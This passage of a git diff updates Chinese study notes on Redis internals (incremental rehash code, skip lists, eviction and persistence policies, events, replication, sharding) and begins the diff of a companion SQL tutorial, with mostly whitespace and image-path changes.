+rehash 操作不是一次性完成，而是采用渐进方式，这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
 
-渐进式 rehash 通过记录 dict 的 rehashidx 完成，它从 0 开始，然后每执行一次 rehash 都会递增。例如在一次 rehash 中，要把 dict[0] rehash 到 dict[1]，这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上，dict[0] 的 table[rehashidx] 指向 null，并令 rehashidx++。
+渐进式 rehash 通过记录 dict 的 rehashidx 完成，它从 0 开始，然后每执行一次 rehash 都会递增。例如在一次 rehash 中，要把 dict[0] rehash 到 dict[1]，这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上，dict[0] 的 table[rehashidx] 指向 null，并令 rehashidx++。
 
-在 rehash 期间，每次对字典执行添加、删除、查找或者更新操作时，都会执行一次渐进式 rehash。
+在 rehash 期间，每次对字典执行添加、删除、查找或者更新操作时，都会执行一次渐进式 rehash。
 
-采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上，因此对字典的查找操作也需要到对应的 dictht 去执行。
+采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上，因此对字典的查找操作也需要到对应的 dictht 去执行。
 
 ```c
-/* Performs N steps of incremental rehashing. Returns 1 if there are still
- * keys to move from the old to the new hash table, otherwise 0 is returned.
- *
- * Note that a rehashing step consists in moving a bucket (that may have more
- * than one key as we use chaining) from the old to the new hash table, however
- * since part of the hash table may be composed of empty spaces, it is not
- * guaranteed that this function will rehash even a single bucket, since it
- * will visit at max N*10 empty buckets in total, otherwise the amount of
- * work it does would be unbound and the function may block for a long time. */
-int dictRehash(dict *d, int n) {
-    int empty_visits = n * 10; /* Max number of empty buckets to visit. */
-    if (!dictIsRehashing(d)) return 0;
+/* Performs N steps of incremental rehashing. Returns 1 if there are still
+ * keys to move from the old to the new hash table, otherwise 0 is returned.
+ *
+ * Note that a rehashing step consists in moving a bucket (that may have more
+ * than one key as we use chaining) from the old to the new hash table, however
+ * since part of the hash table may be composed of empty spaces, it is not
+ * guaranteed that this function will rehash even a single bucket, since it
+ * will visit at max N*10 empty buckets in total, otherwise the amount of
+ * work it does would be unbound and the function may block for a long time. */
+int dictRehash(dict *d, int n) {
+    int empty_visits = n * 10; /* Max number of empty buckets to visit. */
+    if (!dictIsRehashing(d)) return 0;
 
-    while (n-- && d->ht[0].used != 0) {
-        dictEntry *de, *nextde;
+    while (n-- && d->ht[0].used != 0) {
+        dictEntry *de, *nextde;
 
-        /* Note that rehashidx can't overflow as we are sure there are more
-         * elements because ht[0].used != 0 */
-        assert(d->ht[0].size > (unsigned long) d->rehashidx);
-        while (d->ht[0].table[d->rehashidx] == NULL) {
-            d->rehashidx++;
-            if (--empty_visits == 0) return 1;
-        }
-        de = d->ht[0].table[d->rehashidx];
-        /* Move all the keys in this bucket from the old to the new hash HT */
-        while (de) {
-            uint64_t h;
+        /* Note that rehashidx can't overflow as we are sure there are more
+         * elements because ht[0].used != 0 */
+        assert(d->ht[0].size > (unsigned long) d->rehashidx);
+        while (d->ht[0].table[d->rehashidx] == NULL) {
+            d->rehashidx++;
+            if (--empty_visits == 0) return 1;
+        }
+        de = d->ht[0].table[d->rehashidx];
+        /* Move all the keys in this bucket from the old to the new hash HT */
+        while (de) {
+            uint64_t h;
 
-            nextde = de->next;
-            /* Get the index in the new hash table */
-            h = dictHashKey(d, de->key) & d->ht[1].sizemask;
-            de->next = d->ht[1].table[h];
-            d->ht[1].table[h] = de;
-            d->ht[0].used--;
-            d->ht[1].used++;
-            de = nextde;
-        }
-        d->ht[0].table[d->rehashidx] = NULL;
-        d->rehashidx++;
-    }
+            nextde = de->next;
+            /* Get the index in the new hash table */
+            h = dictHashKey(d, de->key) & d->ht[1].sizemask;
+            de->next = d->ht[1].table[h];
+            d->ht[1].table[h] = de;
+            d->ht[0].used--;
+            d->ht[1].used++;
+            de = nextde;
+        }
+        d->ht[0].table[d->rehashidx] = NULL;
+        d->rehashidx++;
+    }
 
-    /* Check if we already rehashed the whole table... */
-    if (d->ht[0].used == 0) {
-        zfree(d->ht[0].table);
-        d->ht[0] = d->ht[1];
-        _dictReset(&d->ht[1]);
-        d->rehashidx = -1;
-        return 0;
-    }
+    /* Check if we already rehashed the whole table... */
+    if (d->ht[0].used == 0) {
+        zfree(d->ht[0].table);
+        d->ht[0] = d->ht[1];
+        _dictReset(&d->ht[1]);
+        d->rehashidx = -1;
+        return 0;
+    }
 
-    /* More to rehash... */
-    return 1;
+    /* More to rehash... */
+    return 1;
 }
 ```
 
-## 跳跃表
+## 跳跃表
 
 是有序集合的底层实现之一。
 
 跳跃表是基于多指针有序链表实现的，可以看成多个有序链表。
 
-<div align="center"> <img src="pics/beba612e-dc5b-4fc2-869d-0b23408ac90a.png" width="600px"/> </div><br>
+<img src="index_files/beba612e-dc5b-4fc2-869d-0b23408ac90a.png" width="600px"/>
 
-在查找时，从上层指针开始查找，找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
+在查找时，从上层指针开始查找，找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
 
-<div align="center"> <img src="pics/0ea37ee2-c224-4c79-b895-e131c6805c40.png" width="600px"/> </div><br>
+<img src="index_files/0ea37ee2-c224-4c79-b895-e131c6805c40.png" width="600px"/>
 
 与红黑树等平衡树相比，跳跃表具有以下优点：
 
-- 插入速度非常快速，因为不需要进行旋转等操作来维护平衡性；
-- 更容易实现；
-- 支持无锁操作。
+- 插入速度非常快速，因为不需要进行旋转等操作来维护平衡性；
+- 更容易实现；
+- 支持无锁操作。
 
-# 四、使用场景
+# 四、使用场景
 
-## 计数器
+## 计数器
 
-可以对 String 进行自增自减运算，从而实现计数器功能。
+可以对 String 进行自增自减运算，从而实现计数器功能。
 
-Redis 这种内存型数据库的读写性能非常高，很适合存储频繁读写的计数量。
+Redis 这种内存型数据库的读写性能非常高，很适合存储频繁读写的计数量。
 
-## 缓存
+## 缓存
 
 将热点数据放到内存中，设置内存的最大使用量以及淘汰策略来保证缓存的命中率。
 
-## 查找表
+## 查找表
 
-例如 DNS 记录就很适合使用 Redis 进行存储。
+例如 DNS 记录就很适合使用 Redis 进行存储。
 
-查找表和缓存类似，也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效，而缓存的内容可以失效，因为缓存不作为可靠的数据来源。
+查找表和缓存类似，也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效，而缓存的内容可以失效，因为缓存不作为可靠的数据来源。
 
-## 消息队列
+## 消息队列
 
-List 是一个双向链表，可以通过 lpop 和 lpush 写入和读取消息。
+List 是一个双向链表，可以通过 lpop 和 lpush 写入和读取消息。
 
-不过最好使用 Kafka、RabbitMQ 等消息中间件。
+不过最好使用 Kafka、RabbitMQ 等消息中间件。
 
-## 会话缓存
+## 会话缓存
 
-可以使用 Redis 来统一存储多台应用服务器的会话信息。
+可以使用 Redis 来统一存储多台应用服务器的会话信息。
 
 当应用服务器不再存储用户的会话信息，也就不再具有状态，一个用户可以请求任意一个应用服务器，从而更容易实现高可用性以及可伸缩性。
 
-## 分布式锁实现
+## 分布式锁实现
 
 在分布式场景下，无法使用单机环境下的锁来对多个节点上的进程进行同步。
 
-可以使用 Reids 自带的 SETNX 命令实现分布式锁，除此之外，还可以使用官方提供的 RedLock 分布式锁实现。
+可以使用 Reids 自带的 SETNX 命令实现分布式锁，除此之外，还可以使用官方提供的 RedLock 分布式锁实现。
 
-## 其它
+## 其它
 
-Set 可以实现交集、并集等操作，从而实现共同好友等功能。
+Set 可以实现交集、并集等操作，从而实现共同好友等功能。
 
-ZSet 可以实现有序性操作，从而实现排行榜等功能。
+ZSet 可以实现有序性操作，从而实现排行榜等功能。
 
-# 五、Redis 与 Memcached
+# 五、Redis 与 Memcached
 
 两者都是非关系型内存键值数据库，主要有以下不同：
 
-## 数据类型
+## 数据类型
 
-Memcached 仅支持字符串类型，而 Redis 支持五种不同的数据类型，可以更灵活地解决问题。
+Memcached 仅支持字符串类型，而 Redis 支持五种不同的数据类型，可以更灵活地解决问题。
 
-## 数据持久化
+## 数据持久化
 
-Redis 支持两种持久化策略：RDB 快照和 AOF 日志，而 Memcached 不支持持久化。
+Redis 支持两种持久化策略：RDB 快照和 AOF 日志，而 Memcached 不支持持久化。
 
-## 分布式
+## 分布式
 
-Memcached 不支持分布式，只能通过在客户端使用一致性哈希来实现分布式存储，这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
+Memcached 不支持分布式，只能通过在客户端使用一致性哈希来实现分布式存储，这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
 
-Redis Cluster 实现了分布式的支持。
+Redis Cluster 实现了分布式的支持。
 
-## 内存管理机制
+## 内存管理机制
 
-- 在 Redis 中，并不是所有数据都一直存储在内存中，可以将一些很久没用的 value 交换到磁盘，而 Memcached 的数据则会一直在内存中。
+- 在 Redis 中，并不是所有数据都一直存储在内存中，可以将一些很久没用的 value 交换到磁盘，而 Memcached 的数据则会一直在内存中。
 
-- Memcached 将内存分割成特定长度的块来存储数据，以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高，例如块的大小为 128 bytes，只存储 100 bytes 的数据，那么剩下的 28 bytes 就浪费掉了。
+- Memcached 将内存分割成特定长度的块来存储数据，以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高，例如块的大小为 128 bytes，只存储 100 bytes 的数据，那么剩下的 28 bytes 就浪费掉了。
 
-# 六、键的过期时间
+# 六、键的过期时间
 
-Redis 可以为每个键设置过期时间，当键过期时，会自动删除该键。
+Redis 可以为每个键设置过期时间，当键过期时，会自动删除该键。
 
 对于散列表这种容器，只能为整个键设置过期时间（整个散列表），而不能为键里面的单个元素设置过期时间。
 
-# 七、数据淘汰策略
+# 七、数据淘汰策略
 
 可以设置内存最大使用量，当内存使用量超出时，会施行数据淘汰策略。
 
-Reids 具体有 6 种淘汰策略：
+Reids 具体有 6 种淘汰策略：
 
-| 策略 | 描述 |
-| :--: | :--: |
-| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
-| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
-|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
-| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
-| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
-| noeviction | 禁止驱逐数据 |
+| 策略 | 描述 |
+| :--: | :--: |
+| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
+| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
+|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
+| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
+| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
+| noeviction | 禁止驱逐数据 |
 
-作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分并且从中选出被淘汰的 key。
+作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分并且从中选出被淘汰的 key。
 
-使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
+使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
 
-Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略，LFU 策略通过统计访问频率，将访问频率最少的键值对淘汰。
+Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略，LFU 策略通过统计访问频率，将访问频率最少的键值对淘汰。
 
-# 八、持久化
+# 八、持久化
 
-Redis 是内存型数据库，为了保证数据在断电后不会丢失，需要将内存中的数据持久化到硬盘上。
+Redis 是内存型数据库，为了保证数据在断电后不会丢失，需要将内存中的数据持久化到硬盘上。
 
-## RDB 持久化
+## RDB 持久化
 
 将某个时间点的所有数据都存放到硬盘上。
 
@@ -437,173 +389,187 @@ Redis 是内存型数据库，为了保证数据在断电后不会丢失，需
 
 如果数据量很大，保存快照的时间会很长。
 
-## AOF 持久化
+## AOF 持久化
 
-将写命令添加到 AOF 文件（Append Only File）的末尾。
+将写命令添加到 AOF 文件（Append Only File）的末尾。
 
-使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到磁盘。有以下同步选项：
+使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到磁盘。有以下同步选项：
 
-| 选项 | 同步频率 |
-| :--: | :--: |
-| always | 每个写命令都同步 |
-| everysec | 每秒同步一次 |
-| no | 让操作系统来决定何时同步 |
+| 选项 | 同步频率 |
+| :--: | :--: |
+| always | 每个写命令都同步 |
+| everysec | 每秒同步一次 |
+| no | 让操作系统来决定何时同步 |
 
-- always 选项会严重减低服务器的性能；
-- everysec 选项比较合适，可以保证系统崩溃时只会丢失一秒左右的数据，并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响；
-- no 选项并不能给服务器性能带来多大的提升，而且也会增加系统崩溃时数据丢失的数量。
+- always 选项会严重减低服务器的性能；
+- everysec 选项比较合适，可以保证系统崩溃时只会丢失一秒左右的数据，并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响；
+- no 选项并不能给服务器性能带来多大的提升，而且也会增加系统崩溃时数据丢失的数量。
 
-随着服务器写请求的增多，AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性，能够去除 AOF 文件中的冗余写命令。
+随着服务器写请求的增多，AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性，能够去除 AOF 文件中的冗余写命令。
 
-# 九、事务
+# 九、事务
 
 一个事务包含了多个命令，服务器在执行事务期间，不会改去执行其它客户端的命令请求。
 
 事务中的多个命令被一次性发送给服务器，而不是一条一条发送，这种方式被称为流水线，它可以减少客户端与服务器之间的网络通信次数从而提升性能。
 
-Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
+Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
 
-# 十、事件
+# 十、事件
 
-Redis 服务器是一个事件驱动程序。
+Redis 服务器是一个事件驱动程序。
 
-## 文件事件
+## 文件事件
 
 服务器通过套接字与客户端或者其它服务器进行通信，文件事件就是对套接字操作的抽象。
 
-Redis 基于 Reactor 模式开发了自己的网络事件处理器，使用 I/O 多路复用程序来同时监听多个套接字，并将到达的事件传送给文件事件分派器，分派器会根据套接字产生的事件类型调用相应的事件处理器。
+Redis 基于 Reactor 模式开发了自己的网络事件处理器，使用 I/O 多路复用程序来同时监听多个套接字，并将到达的事件传送给文件事件分派器，分派器会根据套接字产生的事件类型调用相应的事件处理器。
 
-<div align="center"> <img src="pics/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png" width=""/> </div><br>
+<img src="index_files/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png" width=""/>
 
-## 时间事件
+## 时间事件
 
 服务器有一些操作需要在给定的时间点执行，时间事件是对这类定时操作的抽象。
 
 时间事件又分为：
 
-- 定时事件：是让一段程序在指定的时间之内执行一次；
-- 周期性事件：是让一段程序每隔指定时间就执行一次。
+- 定时事件：是让一段程序在指定的时间之内执行一次；
+- 周期性事件：是让一段程序每隔指定时间就执行一次。
 
-Redis 将所有时间事件都放在一个无序链表中，通过遍历整个链表查找出已到达的时间事件，并调用相应的事件处理器。
+Redis 将所有时间事件都放在一个无序链表中，通过遍历整个链表查找出已到达的时间事件，并调用相应的事件处理器。
 
-## 事件的调度与执行
+## 事件的调度与执行
 
 服务器需要不断监听文件事件的套接字才能得到待处理的文件事件，但是不能一直监听，否则时间事件无法在规定的时间内执行，因此监听时间应该根据距离现在最近的时间事件来决定。
 
-事件调度与执行由 aeProcessEvents 函数负责，伪代码如下：
+事件调度与执行由 aeProcessEvents 函数负责，伪代码如下：
 
 ```python
-def aeProcessEvents():
-    # 获取到达时间离当前时间最接近的时间事件
-    time_event = aeSearchNearestTimer()
-    # 计算最接近的时间事件距离到达还有多少毫秒
-    remaind_ms = time_event.when - unix_ts_now()
-    # 如果事件已到达，那么 remaind_ms 的值可能为负数，将它设为 0
-    if remaind_ms < 0:
-        remaind_ms = 0
-    # 根据 remaind_ms 的值，创建 timeval
-    timeval = create_timeval_with_ms(remaind_ms)
-    # 阻塞并等待文件事件产生，最大阻塞时间由传入的 timeval 决定
-    aeApiPoll(timeval)
-    # 处理所有已产生的文件事件
-    procesFileEvents()
-    # 处理所有已到达的时间事件
-    processTimeEvents()
+def aeProcessEvents():
+    # 获取到达时间离当前时间最接近的时间事件
+    time_event = aeSearchNearestTimer()
+    # 计算最接近的时间事件距离到达还有多少毫秒
+    remaind_ms = time_event.when - unix_ts_now()
+    # 如果事件已到达，那么 remaind_ms 的值可能为负数，将它设为 0
+    if remaind_ms < 0:
+        remaind_ms = 0
+    # 根据 remaind_ms 的值，创建 timeval
+    timeval = create_timeval_with_ms(remaind_ms)
+    # 阻塞并等待文件事件产生，最大阻塞时间由传入的 timeval 决定
+    aeApiPoll(timeval)
+    # 处理所有已产生的文件事件
+    procesFileEvents()
+    # 处理所有已到达的时间事件
+    processTimeEvents()
 ```
 
-将 aeProcessEvents 函数置于一个循环里面，加上初始化和清理函数，就构成了 Redis 服务器的主函数，伪代码如下：
+将 aeProcessEvents 函数置于一个循环里面，加上初始化和清理函数，就构成了 Redis 服务器的主函数，伪代码如下：
 
 ```python
-def main():
-    # 初始化服务器
-    init_server()
-    # 一直处理事件，直到服务器关闭为止
-    while server_is_not_shutdown():
-        aeProcessEvents()
-    # 服务器关闭，执行清理操作
-    clean_server()
+def main():
+    # 初始化服务器
+    init_server()
+    # 一直处理事件，直到服务器关闭为止
+    while server_is_not_shutdown():
+        aeProcessEvents()
+    # 服务器关闭，执行清理操作
+    clean_server()
 ```
 
 从事件处理的角度来看，服务器运行流程如下：
 
-<div align="center"> <img src="pics/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="350"/> </div><br>
+<img src="index_files/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="350"/>
 
-# 十一、复制
+# 十一、复制
 
-通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
+通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
 
 一个从服务器只能有一个主服务器，并且不支持主主复制。
 
-## 连接过程
+## 连接过程
 
-1. 主服务器创建快照文件，发送给从服务器，并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后，开始向从服务器发送存储在缓冲区中的写命令；
+1. 主服务器创建快照文件，发送给从服务器，并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后，开始向从服务器发送存储在缓冲区中的写命令；
 
-2. 从服务器丢弃所有旧数据，载入主服务器发来的快照文件，之后从服务器开始接受主服务器发来的写命令；
+2. 从服务器丢弃所有旧数据，载入主服务器发来的快照文件，之后从服务器开始接受主服务器发来的写命令；
 
-3. 主服务器每执行一次写命令，就向从服务器发送相同的写命令。
+3. 主服务器每执行一次写命令，就向从服务器发送相同的写命令。
 
-## 主从链
+## 主从链
 
 随着负载不断上升，主服务器可能无法很快地更新所有从服务器，或者重新连接和重新同步从服务器将导致系统超载。为了解决这个问题，可以创建一个中间层来分担主服务器的复制工作。中间层的服务器是最上层服务器的从服务器，又是最下层服务器的主服务器。
 
-<div align="center"> <img src="pics/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
+<img src="index_files/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/>
 
-# 十二、Sentinel
+# 十二、Sentinel
 
 Sentinel（哨兵）可以监听集群中的服务器，并在主服务器进入下线状态时，自动从从服务器中选举出新的主服务器。
 
-# 十三、分片
+# 十三、分片
 
 分片是将数据划分为多个部分的方法，可以将数据存储到多台机器里面，这种方法在解决某些问题时可以获得线性级别的性能提升。
 
-假设有 4 个 Reids 实例 R0，R1，R2，R3，还有很多表示用户的键 user:1，user:2，... ，有不同的方式来选择一个指定的键存储在哪个实例中。
+假设有 4 个 Reids 实例 R0，R1，R2，R3，还有很多表示用户的键 user:1，user:2，... ，有不同的方式来选择一个指定的键存储在哪个实例中。
 
-- 最简单的方式是范围分片，例如用户 id 从 0\~1000 的存储到实例 R0 中，用户 id 从 1001\~2000 的存储到实例 R1 中，等等。但是这样需要维护一张映射范围表，维护操作代价很高。
-- 还有一种方式是哈希分片，使用 CRC32 哈希函数将键转换为一个数字，再对实例数量求模就能知道应该存储的实例。
+- 最简单的方式是范围分片，例如用户 id 从 0~1000 的存储到实例 R0 中，用户 id 从 1001~2000 的存储到实例 R1 中，等等。但是这样需要维护一张映射范围表，维护操作代价很高。
+- 还有一种方式是哈希分片，使用 CRC32 哈希函数将键转换为一个数字，再对实例数量求模就能知道应该存储的实例。
 
 根据执行分片的位置，可以分为三种分片方式：
 
-- 客户端分片：客户端使用一致性哈希等算法决定键应当分布到哪个节点。
-- 代理分片：将客户端请求发送到代理上，由代理转发请求到正确的节点上。
-- 服务器分片：Redis Cluster。
+- 客户端分片：客户端使用一致性哈希等算法决定键应当分布到哪个节点。
+- 代理分片：将客户端请求发送到代理上，由代理转发请求到正确的节点上。
+- 服务器分片：Redis Cluster。
 
-# 十四、一个简单的论坛系统分析
+# 十四、一个简单的论坛系统分析
 
 该论坛系统功能如下：
 
-- 可以发布文章；
-- 可以对文章进行点赞；
-- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
+- 可以发布文章；
+- 可以对文章进行点赞；
+- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
 
-## 文章信息
+## 文章信息
 
-文章包括标题、作者、赞数等信息，在关系型数据库中很容易构建一张表来存储这些信息，在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
+文章包括标题、作者、赞数等信息，在关系型数据库中很容易构建一张表来存储这些信息，在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
 
-Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起，而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间，后面部分的内容存储 ID，通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617，其中 article 为命名空间，ID 为 92617。
+Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起，而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间，后面部分的内容存储 ID，通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617，其中 article 为命名空间，ID 为 92617。
 
-<div align="center"> <img src="pics/7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br>
+<img src="index_files/7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/>
 
-## 点赞功能
+## 点赞功能
 
-当有用户为一篇文章点赞时，除了要对该文章的 votes 字段进行加 1 操作，还必须记录该用户已经对该文章进行了点赞，防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
+当有用户为一篇文章点赞时，除了要对该文章的 votes 字段进行加 1 操作，还必须记录该用户已经对该文章进行了点赞，防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
 
 为了节约内存，规定一篇文章发布满一周之后，就不能再对它进行投票，而文章的已投票集合也会被删除，可以为文章的已投票集合设置一个一周的过期时间就能实现这个规定。
 
-<div align="center"> <img src="pics/485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/> </div><br>
+<img src="index_files/485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/>
 
-## 对文章进行排序
+## 对文章进行排序
 
-为了按发布时间和点赞数进行排序，可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。（下图中的 score 就是这里所说的点赞数；下面所示的有序集合分值并不直接是时间和点赞数，而是根据时间和点赞数间接计算出来的）
+为了按发布时间和点赞数进行排序，可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。（下图中的 score 就是这里所说的点赞数；下面所示的有序集合分值并不直接是时间和点赞数，而是根据时间和点赞数间接计算出来的）
 
-<div align="center"> <img src="pics/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/> </div><br>
+<img src="index_files/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/>
 
-# 参考资料
+# 参考资料
 
-- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
-- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
-- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
-- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
-- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
-- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
-- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
-- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
+- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
+- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
+- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
+- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
+- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
+- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
+- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
+- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
+---bottom---CyC---
+![](index_files/6019b2db-bc3e-4408-b6d8-96025f4481d6.png)
+![](index_files/fb327611-7e2b-4f2f-9f5b-38592d408f07.png)
+![](index_files/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png)
+![](index_files/7bd202a7-93d4-4f3a-a878-af68ae25539a.png)
+![](index_files/1202b2d6-9469-4251-bd47-ca6034fb6116.png)
+![](index_files/beba612e-dc5b-4fc2-869d-0b23408ac90a.png)
+![](index_files/0ea37ee2-c224-4c79-b895-e131c6805c40.png)
+![](index_files/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png)
+![](index_files/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png)
+![](index_files/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png)
+![](index_files/7c54de21-e2ff-402e-bc42-4037de1c1592.png)
+![](index_files/485fdf34-ccf8-4185-97c6-17374ee719a0.png)
+![](index_files/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index 8aa2bf38..e322879b 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,350 +1,321 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、基础](#一基础)
-* [二、创建表](#二创建表)
-* [三、修改表](#三修改表)
-* [四、插入](#四插入)
-* [五、更新](#五更新)
-* [六、删除](#六删除)
-* [七、查询](#七查询)
-* [八、排序](#八排序)
-* [九、过滤](#九过滤)
-* [十、通配符](#十通配符)
-* [十一、计算字段](#十一计算字段)
-* [十二、函数](#十二函数)
-* [十三、分组](#十三分组)
-* [十四、子查询](#十四子查询)
-* [十五、连接](#十五连接)
-* [十六、组合查询](#十六组合查询)
-* [十七、视图](#十七视图)
-* [十八、存储过程](#十八存储过程)
-* [十九、游标](#十九游标)
-* [二十、触发器](#二十触发器)
-* [二十一、事务管理](#二十一事务管理)
-* [二十二、字符集](#二十二字符集)
-* [二十三、权限管理](#二十三权限管理)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
-
-
-# 一、基础
+# 一、基础
 
 模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息，数据库和表都有模式。
 
 主键的值不允许修改，也不允许复用（不能使用已经删除的主键值赋给新数据行的主键）。
 
-SQL（Structured Query Language)，标准 SQL 由 ANSI 标准委员会管理，从而称为 ANSI SQL。各个 DBMS 都有自己的实现，如 PL/SQL、Transact-SQL 等。
+SQL（Structured Query Language)，标准 SQL 由 ANSI 标准委员会管理，从而称为 ANSI SQL。各个 DBMS 都有自己的实现，如 PL/SQL、Transact-SQL 等。
 
-SQL 语句不区分大小写，但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。
+SQL 语句不区分大小写，但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。
 
-SQL 支持以下三种注释：
+SQL 支持以下三种注释：
 
 ```sql
-# 注释
-SELECT *
-FROM mytable; -- 注释
-/* 注释1
-   注释2 */
+# 注释
+SELECT *
+FROM mytable; -- 注释
+/* 注释1
+   注释2 */
 ```
 
 数据库创建与使用：
 
 ```sql
-CREATE DATABASE test;
-USE test;
+CREATE DATABASE test;
+USE test;
 ```
 
-# 二、创建表
+# 二、创建表
 
 ```sql
-CREATE TABLE mytable (
-  id INT NOT NULL AUTO_INCREMENT,
-  col1 INT NOT NULL DEFAULT 1,
-  col2 VARCHAR(45) NULL,
-  col3 DATE NULL,
-  PRIMARY KEY (`id`));
+CREATE TABLE mytable (
+  id INT NOT NULL AUTO_INCREMENT,
+  col1 INT NOT NULL DEFAULT 1,
+  col2 VARCHAR(45) NULL,
+  col3 DATE NULL,
+  PRIMARY KEY (`id`));
 ```
 
-# 三、修改表
+# 三、修改表
 
 添加列
 
 ```sql
-ALTER TABLE mytable
